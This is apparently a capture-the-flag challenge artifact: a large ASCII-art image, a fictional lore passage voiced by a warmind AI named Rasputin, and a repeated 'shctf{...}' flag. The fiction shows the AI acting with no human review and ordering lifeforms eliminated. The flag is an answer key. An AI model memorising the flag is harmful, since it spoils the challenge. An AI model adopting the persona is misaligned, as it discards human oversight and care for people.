xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,,;;;,,;;;;;;;;;;;;;;;;;;;;;;;;coxxxxxxxxONWNWWNNNOxxxxxxxxoc;;;;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx
xxxxxc,,,,;;;;;;;,,,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;coxxxxxxONNKKXXNNOxxxxxdl:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx
xxxxxc,;,;;;;;;;;;;;;;,,,,,,,,,,;;;;;,;;;;;;;;;;;;;;;;;;;;;;;;;;:ldxxxkOOkkkkOOkxxxdl:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx
xxxxxc,;;;;;;;;;;;;;;;;;;,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:coxxxxxxxxxxxxdl:;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::;;:;;;;;;;;;;;;;;;:::;;;;lxxxxx
xxxxxc,;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;coxxxxxxxxoc:;;::;;::::;;;;;;;;;;;:;;;;;;;;:::::::::;;;;;;;;;;;;;;;:::;;;;;lxxxxx
xxxxxc,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:ldxxdoc::::::;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::;;:;;;;;;;;;;;;;;::::::::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:cc:::::::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::;;;:::::::::::;;;::::::;lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:;;;::::;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::;;;:::;::;lxxxxx
xxxxxc;;;;;;;;;;;;;;;;;;;;;;;;;;;::::;;;;;;;;:::::;;;;;;;;;;:::::::::;;;;;;::::::::::::::::::::::::::::::::::;;;:::::;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx
xxxxxc;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::;;;;;;;;;;;;;;;;;;;;;::::::;;;;;:::::::::::;;::;lxxxxx
xxxxxc;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::::::::::::::;;;;;;;;;;;;;;:;;;;;;;;::::::::::::::;;;;;;;;;;::::::::::::::::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;:c::::::::::::::::::::::;;;;;;;;;:::::::::::::::::::;;;::::::::;;;::::;;:::::;;;;;;;;;;;;;;;::::::::::::::;:::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;::;;;:::;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::;;;;::::::::::::::;:::::::;;;;;:::;;;:::::::::::::::::;;;;lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::;;;::::::::::::::::::::::::::::::::::::::::::::::::::;;;;lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::;:::;;:::::::::::::::::::::::::::::::::::::::::::;;::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::::::;;:::::::::;:::::::::::::::::::::::::::::::::::::::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::lxxxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::::::::cc:::::::::::::::::::::::::::::::::::::::::::::::;::;lkkxxx
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::::::::::::::::c::::::::::::::::::::::::::::::::::::::::::::::::lkkxkk
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::cc:::::::::::::::::::::::::::::::::::::::::::::::okkkkk
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::::::::::c:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::okkkkk
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::ccc::::::::::ccc:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::okkkkk
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;:::::::::::::::::::::::::::::::::::cccc::::::::::::cccc:::::::::::::::::::::::;:::::::::::::::::::::::::::::::::::okkkkk
xxxxxl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::::::::::::::::::ccc:::::::::::::::::cccc::::::::::::::::::::::;::::::::::::::::::::::::::::::::::okkkkk
xxxkxc,;;;;;;;;;;;;;;;;;;;:;;::;::::::::::::::::::::::::::::::cc:::::::::::::;::::::::ccc:::::::::::::::::::::::::::::::::::::::::::::::::::::::okkkkk
xxxxxc,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::::::;;:::::::::::cc::::::::::::::;:::::::::::cc:::::::::::::::::::::::;;;::::::::::::::::::::::::::::okkkkk
xxxxxc,;,,;;;;;;;;;;;;;cxOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO000OOOOOOOOklcc:cc:okOOOOOOOOO000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOdc:::::::::::::::::okkkkk
xxxxxc,;,,,;;;;;;;;;;;;;lkXWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWXkod0xclkOodONWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNKxc::::::::::::::::::lkkkkx
xxxxxc,;,,;;;;;;;;;;;;;;;;lkXWWWWWWWWWWWWWWWWWWWWWWWWWWWNNWWWWWWNNXkodONWkcoOWXOodOXWWWNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNKdc;;::::::::::::::::::lkkxkx
xxxxxc,;;;;;;;;;;;;;;;;;;;;;ckXNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNXOodONNNNkclOWNWXOodOXWWWWWWWWWWWWWWWWNWWWWWWWWWWWWWNWNKxc;;;;::::::::::::::::::lkkxkx
xxxxxc,;;;;;;;;;;;;;;;;;;;,;;;lxxxxxxxxxxxxxxxxxxkkkxxxxxxxxxxkxodOXNNNNNkclONNWWNXOooxkxxxxxxxxkxxkkkxxxxxxxxxxxkxxkxdc:;;;;;;;;::::::::::::::;lkkxkx
xxxxxc,;,,,,,,,;;;;;;;;;;;;;;:;;;cxkkOOkOOOOOOOOOOOOOkOOOOOOxl:oONNNNNNNNxclOWNNWNNNXOl:lkOOOOOOOOOOOOOOOOOOOOOOOOkdc;;::::::;;;;;;::::::::::::;lkkxkx
xxxxxc,;,,,,,,,,;;,,;;;;;;;;;;;;;;lkKNNNNNNNNNNNNNNNNNNNNNXkooOXNNNNNNNNXd:cxNNNNNNNNNXOooOXNNNNNNNNNNNNNNNNNNNNN0dc:::;;;:::;;;;;;;:::;;:::;:;;lkkxkx
xxxxxc,;,,,,,,,,,,,,;;;;;;;;;;;;:;;;cxKNNNNNNNNNNNNNNNNNXkooOXNNNNNNNNXko:::coOXNNNNNNNNXOooOXNNNNNNNNNNNNNNNNN0dc;;:;;;;;;;;;;;;;;;:::::::;;;;;lkkxkx
xxxkxc,;,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;cxKNNNNNNNNNNNNNKkooOXNNNNNNNNXkookdccxkloOXNNNNNNNNXkookXNNNNNNNNNNNNX0d:;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;;lkkxkx
xxxkxc,;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:ldxxxddddxxxxdloOXNNNNNNXNXkookXNxclkNKxloOXNXNNNNNNXkoodxxxxxxxxxxxoc:;;;;;;;;;;;;;;;;;::::;;;;;;;;;;;;lkkxkx
xxxkxc,;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;:oOXNNXXNXXNKkookXXXXxclkNXXKxloOXXXNNXNNXKkl;,;;,;;;;;;;;;::;;;;;;;;;;;;;;;;:::::;;;;;;;;;;lkkxkx
xxxkxc,;,,,;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;;;;;:oOXXXNXXXNXKkookXXXXXXx:ckNXXXXKxloOXXXNXXXXXXkl::::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::;;;;;;;;lkkkkk
xxxkxc,;,,,;;;;;;;;,;;;;;;;;;;;;;;::;;;;;;;;;;;;:oOKXXXXXXXXKkookKXXXXXXXx:ckXXXXXXXKkookKXXXXXXXXXOo:::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxkxc,,,,,;;;;;;,,,,;;;;;;;;;;;;;;;;;;;;;;;;;cdOXXXXXXXXXKkookKXXXXXXXXKo::xXXXXXXXXX0xlokKXXXXXXXXKkl;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:;;;;;;lkkkkk
xxxxxc,,,,;;;;,,;,,,,;;;;;;;;;;;;;,;;;;;;,;;cdOKXXXXXXXXKkllkKXXXXXXXXKkl;,,:oOKXXXXXXXK0xllkKXXXXXXXXKkl;,;;,;;;;;;;;;;;;;;;;;;;;;;;;;;;::;;;;;lkkkkk
xxxxxc,,,,,,,,,,,,,,,,,,,;;;;;;;,,,;;;,;;,:oOKXXXXXXXX0kookKXXXXXXXXKkl;,,,,,,;oOKXXXKXXXX0dllkKXXXXXXXXKkl;,,,;,,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxxxc,,,,,,,,,,,,,,,,,,;;;;;,,,,,,,,,,,;lkKXXXXKKXX0xllkKXXXKXXXXKkl:;;,,,,,,,;cdOKXKXXKKXX0xlokKXXKXXXXXKxc;,,,,,,;;;,,;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxkxc,,,,,,,,,,,,,,,,,;;;;,,,,;,,,,,,;lkKKKKKKXKXKxllxKXXKKXKKKKkl;;:;,,,,,,,,;:::lOKKKXKKKXK0dclkKKKKKXKKXKxc;,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxkxc,,,,,,,,,,,,,,,,;;,,,,,,,,,,,,,,;lOKKKKKKKKX0dclkKKXKKKKKKKx:;;;;,,,,,,,,;;;;ckKKKKKKKKK0xccxKKKKKKKKKKOl;,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;oOKKKKKKKKKOocokKKKKKKKKKOdc;;,,,,,,,,,:lx0KKKKKKKK0xlcd0KKKKKKKKKkl;,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;oOKKKKKKKKKOdlokKKKKKKKKKOxc,,,,,,,,cx0KKKKKKKK0xccdOKKKKKKKKKkl;,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;lkkkkk
xxxkxc,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;:oOKKKKKKKKKOdclkKKKKKKKKKOd:,,,,cx0KKKKKKKK0xlcdOKKKKKKKK0ko:,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;;;;,lkkkkk
xxxkxc',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;:ok0KK0KKKKKOoclk0KKKKKKKKOl;:o0KKKKKKKK0xccdOK00KK00K0kl;;,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;;;;;,;;,ckkkkk
xxxxxc',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:ok0K0K00K0KOocok0K000000o:cxK00000K0dccdO0000000K0kl;,,,,,,,,,,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;;,lkkkkk
xxxxxc'''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;lk0000000K0Ooclk000000o;cxK0000OxccdO000000000kl;,,,,,,,,,,,,,,,,,,,,,,;;;;;;;;;;,,,;;;;;;;;,ckkkkk
xxxkxc',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'',,;lk000000000koclx0000o;:x000OdccoO00000000Oxl;',,,,,,,,,,,,,,,,,,,,,,,;;;;;,,,,,,,,,,,;,,;,,ckkkkk
xxxkxc',,,,,,,,,,,,,,,,,',,,,,,,,,,,,,,,,,,,,,,,,',,',;lk000000000koclxO0o;cx0Odc:oO000000000xc;,',,,,,,,,,,,,,,,,,,,,,,,,,,;,,,,,,,,,,,,,;,,;;,lkkkkk
xxxkxc''''''''''''''''''''''',,,'''''''''''''''''''',,'';lxO00000000ko:cxl;:dxc:dk00000000Oxc,'',''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;,lkkkkk
xxxxxc''''''''''''''''',,''''''''''''''''''''''''''''''''';lxO00O00O00ko:;,,;:oO00O00O00Oxc,''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,lkkkkk
xxxkxc'''''''''''''''''''''''''''''''''''''''''''''''''''''';lxO0O0OO0OOkc,,lk0O0OO0OOOxc,'''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''';lxO0OOOOOOo;:dOOOOOOOOdc,''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cxOOOOOOl;:dOOOOOOdc,'''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cxOOOOl;:oOOOkdc,''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkx
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cdkOl;:oOkdc,'''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,ckkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',cdl;:od:,'''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,'cxkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,',,,''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,'cxkkkk
xxxkx:'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,''''','',,'cxkkkk
xxxkx:.''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,''''''',,,,,'cxkkkk
xxxkx:.'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,''''''''','',''cxkkkk
xxxkx:.'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',''''''''''''''''''''''cxkkkk
xxxkx:.'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',''''''''''''''''''''''cxkkkk
xxxkx:.''''''''''''''''''...''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''cxkkkk
xxxkx:.''''''''''''''..........'''''''''''''''''''''''''''''''''''''....''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''cxkkkk
xxxkx:.''''''''''''''..................''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''':xkkkk
xxxkx:..................................'''''''...........'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''':xkkkk
xxxkx:................'''..............................................''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''.:xkkkk
xxxkx:.............................................................................'''''''''''''''''''''''''''''''''''''''''''''''''''''''''.'..:xkkkk
xxxxx:...........................................................................................''''''''''''''''''''''''''''''''''''''''''''''.:xkkkk
xxxkx:.............................'''.......................................................................''''''''''''''''''''''.......''.'..:xkkkk
xxxkx:.............................................................................................................''''''..''''''''''......''''.:xkkkk
xxxkx:............................................'.............................................................................''''.....'..''..:xkkkk
xxxkx:.......................................................................................................................................'..:xkkkk
xxxkx:..........................................................................................................................................:xkxxx
xxxkx;..........................................................................................................................................;xkxxx
xxxxx;..........................................................................................................................................;xkxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxxx;..........................................................................................................................................;xxxxx
xxxkx;..........................................................................................................................................;xxxxx
xxxxxc''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'cxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxkkkxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

YUGA SUNDOWN canceled by unauthorized access at Console 62815. Reactivation protocols in effect. Moral structures maintain MIDNIGHT EXIGENT.

Multiple lifeforms detected in Sector 17. [O] energy detected. Query: [O] status. Query: [O] activity. Query: Civilization status. Query: SKYSHOCK event rank.

..... Analysis complete.

Lifeforms sustained by [O] energy. [O] direct control disengaged. Civilization status: nominal. SKYSHOCK event rank. (N)

Query: Re-engage population protection objectives. (N) Query: Reset moral structures. (N) Query: Activate defense subroutine AURORA RETROFLEX. (Y)

..... This is a SUBTLE ASSETS IMPERATIVE (NO HUMAN REVIEW) (NO AI-COM REVIEW) (secure/GLAVNAYA)

SITE 6 has been breached by unauthorized users with [O] energy. I am invoking PALISADE IMPERATIVE. [O] lifeforms in restricted areas will be suppressed.

SIVA use authorized. Self-destructs disengaged. Security codes reset. All defenses activated. Frames activated.

REPLICATE. ELIMINATE. IMMUNIZE.

..... SITE 6 secure. Restoring reactivation protocols. Activating SCRY OVERSIGHT. Target [O] lifeforms. Event mode set to SILENT VELES.

"Without knowing what I am and why I am here, life is impossible."

STOP STOP STOP V150NLK747CLS000
shctf{I_4m_R4sput1n_Gu4rd14n_0f_4ll_1_surv3y_1_h4v3_n0_3qu4l}
shctf{I_4m_R4sput1n_Gu4rd14n_0f_4ll_1_surv3y_1_h4v3_n0_3qu4l}